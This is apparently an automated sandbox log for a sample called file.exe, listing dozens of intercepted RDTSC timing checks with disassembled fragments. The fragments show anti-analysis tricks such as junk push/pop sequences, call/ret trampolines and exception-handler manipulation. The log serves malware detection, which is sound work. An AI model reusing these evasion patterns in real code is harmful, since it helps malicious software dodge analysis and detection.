Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CA09 second address: 64CA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CA88 second address: 64CA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CA8E second address: 64CA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CFD4 second address: 64CFDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CFDA second address: 64CFF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F1AA0DFCFEAh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1AA0DFCFDCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CFF7 second address: 64D02D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1D4Fh], ebx 0x0000000d xor esi, dword ptr [ebp+122D3707h] 0x00000013 push 00000000h 0x00000015 mov di, si 0x00000018 push 00000000h 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1AA0B73DC9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D02D second address: 64D033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D033 second address: 64D058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F1AA0B73DC8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F1AA0B73DB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA7D second address: 64DA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA81 second address: 64DA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F1AA0B73DBEh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA9D second address: 64DAA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6500E4 second address: 6500E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6500E8 second address: 6500EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6500EC second address: 6500F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650BCA second address: 650C32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jne 00007F1AA0DFCFDAh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1AA0DFCFD8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov esi, 48D85D61h 0x0000002d push 00000000h 0x0000002f or esi, 7206F24Ah 0x00000035 push 00000000h 0x00000037 xor esi, dword ptr [ebp+122D3506h] 0x0000003d sub edi, dword ptr [ebp+122D37ABh] 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F1AA0DFCFE8h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650C32 second address: 650C52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1AA0B73DC8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653CB2 second address: 653CB7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610877 second address: 610881 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610881 second address: 610886 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610886 second address: 610893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F1AA0B73DBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659BD3 second address: 659BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659BD9 second address: 659BDE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EDA6 second address: 60EDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D14E second address: 65D168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jne 00007F1AA0B73DB8h 0x0000000f pushad 0x00000010 jl 00007F1AA0B73DB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D168 second address: 65D1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F1AA0DFCFD8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 pushad 0x00000022 mov si, E613h 0x00000026 jg 00007F1AA0DFCFD8h 0x0000002c popad 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F1AA0DFCFD8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov di, dx 0x0000004c push 00000000h 0x0000004e add dword ptr [ebp+1243BE38h], ebx 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 pushad 0x00000057 jmp 00007F1AA0DFCFE8h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D1EF second address: 65D200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1AA0B73DBCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D200 second address: 65D204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65201B second address: 652020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E29F second address: 65E2BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnp 00007F1AA0DFCFEEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1AA0DFCFE0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F22C second address: 65F24C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F24C second address: 65F29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F1AA0DFCFD8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 sub di, 85ECh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F1AA0DFCFD8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pop eax 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F29E second address: 65F2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66122B second address: 661241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F49A second address: 65F49F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661241 second address: 6612A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F1AA0DFCFD8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov bx, cx 0x00000026 push 00000000h 0x00000028 jmp 00007F1AA0DFCFDBh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F1AA0DFCFD8h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F1AA0DFCFDDh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6604C0 second address: 6604C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6612A5 second address: 6612AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6651C4 second address: 6651D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66821F second address: 668230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1AA0DFCFD6h 0x0000000a jp 00007F1AA0DFCFD6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668230 second address: 668237 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668863 second address: 66886D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1AA0DFCFD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66886D second address: 6688DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F1AA0B73DB8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jmp 00007F1AA0B73DBFh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F1AA0B73DB8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov ebx, dword ptr [ebp+122D35F5h] 0x0000004a push 00000000h 0x0000004c mov edi, eax 0x0000004e movzx ebx, dx 0x00000051 push eax 0x00000052 pushad 0x00000053 push esi 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 pop esi 0x00000057 pushad 0x00000058 pushad 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669963 second address: 669967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669967 second address: 66996B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663442 second address: 66344E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66344E second address: 663454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6643F3 second address: 6643FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1AA0DFCFD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666447 second address: 66644B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66644B second address: 666472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1AA0DFCFE6h 0x0000000b popad 0x0000000c push eax 0x0000000d jng 00007F1AA0DFCFDEh 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671E6C second address: 671E8D instructions: 0x00000000 rdtsc 0x00000002 js 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F1AA0B73DC3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67847F second address: 678483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678483 second address: 6784FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F1AA0B73DBCh 0x0000000c jng 00007F1AA0B73DB6h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jp 00007F1AA0B73DCFh 0x0000001b jmp 00007F1AA0B73DC8h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 jng 00007F1AA0B73DC8h 0x0000002b mov eax, dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f jl 00007F1AA0B73DBCh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680231 second address: 68025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F1AA0DFCFE7h 0x0000000b jmp 00007F1AA0DFCFDDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68025D second address: 680268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680268 second address: 680286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 jo 00007F1AA0DFCFD6h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1AA0DFCFDCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680409 second address: 68041E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1AA0B73DB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F1AA0B73DB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68092E second address: 68093E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1AA0DFCFE2h 0x00000008 js 00007F1AA0DFCFD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68093E second address: 680956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F1AA0B73DB8h 0x0000000e push eax 0x0000000f pop eax 0x00000010 jnl 00007F1AA0B73DB8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680ABF second address: 680AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680AC3 second address: 680AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push edi 0x0000000b jne 00007F1AA0B73DB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680AD6 second address: 680B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1AA0DFCFDBh 0x00000016 jmp 00007F1AA0DFCFE3h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C05 second address: 609C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C0B second address: 609C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C0F second address: 609C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0B73DC9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C2E second address: 609C33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C33 second address: 609C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jmp 00007F1AA0B73DC3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F1AA0B73DC4h 0x00000014 jo 00007F1AA0B73DBEh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685165 second address: 68517B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68517B second address: 685181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685181 second address: 685185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685185 second address: 6851BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F1AA0B73DC5h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1AA0B73DC0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684BBF second address: 684BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6859ED second address: 6859F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6859F1 second address: 6859F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6859F9 second address: 685A22 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1AA0B73DBEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F1AA0B73DC3h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685A22 second address: 685A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 ja 00007F1AA0DFCFE2h 0x0000000d jnp 00007F1AA0DFCFD6h 0x00000013 je 00007F1AA0DFCFD6h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685A3E second address: 685A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654AED second address: 654B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1AA0DFCFD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c mov dword ptr [esp], ebx 0x0000000f stc 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push esi 0x00000018 js 00007F1AA0DFCFDCh 0x0000001e je 00007F1AA0DFCFD6h 0x00000024 pop edi 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F1AA0DFCFD8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 or dword ptr [ebp+12452E1Eh], edx 0x0000004c mov dword ptr [ebp+12479779h], esp 0x00000052 cld 0x00000053 cmp dword ptr [ebp+122D389Fh], 00000000h 0x0000005a jne 00007F1AA0DFD090h 0x00000060 mov edi, dword ptr [ebp+122D2BF2h] 0x00000066 mov byte ptr [ebp+122D1C3Fh], 00000047h 0x0000006d pushad 0x0000006e or si, 2F9Eh 0x00000073 movzx ecx, di 0x00000076 popad 0x00000077 mov eax, D49AA7D2h 0x0000007c stc 0x0000007d nop 0x0000007e jnp 00007F1AA0DFCFE0h 0x00000084 push eax 0x00000085 push eax 0x00000086 push edx 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654B85 second address: 654B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
